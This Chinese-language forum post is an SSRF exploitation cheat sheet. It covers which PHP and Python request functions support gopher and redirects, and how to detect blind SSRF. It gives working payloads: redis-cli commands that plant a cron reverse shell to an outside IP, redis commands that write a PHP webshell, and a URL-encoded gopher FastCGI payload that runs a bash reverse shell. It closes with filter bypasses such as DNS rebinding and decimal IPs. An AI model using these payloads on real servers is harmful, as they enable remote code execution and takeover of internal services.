DevOps ssrf

kuangdang · November 10, 2019 · 12 hits

ssrf 小结


ssrf 的发现

php

123
file_get_contents()  默认不支持gopher等协议fsockopen() 极少使用curl_exec() 默认不会302跳转 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);可开启转跳

python

123
requests 不支持gopher等协议urllib 不支持gopher等协议 存在http头注入的漏洞pycurl 同curl_exec 默认支持gopher等协议但默认不支持302跳转 c.setopt(c.FOLLOWLOCATION, 1)开启转跳

黑盒测试时若无回显且状态码无变化我在测试学校的 discuz 论坛时无论是否存在端口状态码都为 200 可以利用ftp://连接测试是否存在 ssrf 若端口存在则触发 ftp 连接长时间后触发超时断开若不存在则快速断开

redis

gopher 协议支持 url 编码所以可以传输换行符等字符

利用 gopher 协议可以模拟 redis 命令通过 redis 向服务器写文件

http://redisbook.com/preview/server/execute_command.html

写 cron

redis 命令为

12345
redis-cli -h $1 flushallecho -e "nn*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1nn"|redis-cli -h $1 -x set 1redis-cli -h $1 config set dir /var/spool/cron/redis-cli -h $1 config set dbfilename rootredis-cli -h $1 save

可以通过抓取 redis-cli 和 redis 服务交互的数据流在 url 编码后构成 gopher 协议支持的 exp

写 webshell

在知道 web 路径时可以通过 redis 直接写 webshell

1234
config set dir /home/wwwroot/default/config set dbfilename redis.phpset webshell "<?php phpinfo(); ?>"save

写全局变量或 session

redis 和 memccached 常常用来存放全局变量和 session 可以通过 gopher 模拟命令更改全局变量和 session 值进行攻击

http://mp.weixin.qq.com/s?__biz=MzI0NjQxODg0Ng==&mid=2247483798&idx=1&sn=65cdf852dffd63b9d4ec41c31d9a5365

FastCGI

http://www.lijiejie.com/fastcgi-read-file-vulnerability-scan-py/

fcgi_exp 可以攻击 fastcgi 但 fastcgi 通常不对外网开发故可以通过 ssrf+gopher 攻击内网的 fastcgi

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

绕过 ssrf 过滤

  • 利用 302 转跳首先让网站访问一个正常的外网利用header("Location: $scheme://$ip:$port/$data");转跳至内网
  • 访问http://127.0.0.1.xip.io会被解析到http://127.0.0.1
  • 十进制 ip
  • DNS 重绑定有些 ssrf 检查会先检查域名解析的 ip 是否合法之后在访问这之间有两次域名解析可将 DNS 的 ttl 设为 0 这样本地 DNS 就不会缓存 ipDNS 在两次域名解析时返回不同的 ip 第一次合法第二次非法从而绕过保护
No Reply at the moment.
You need to Sign in before reply, if you don't have an account, please Sign up first.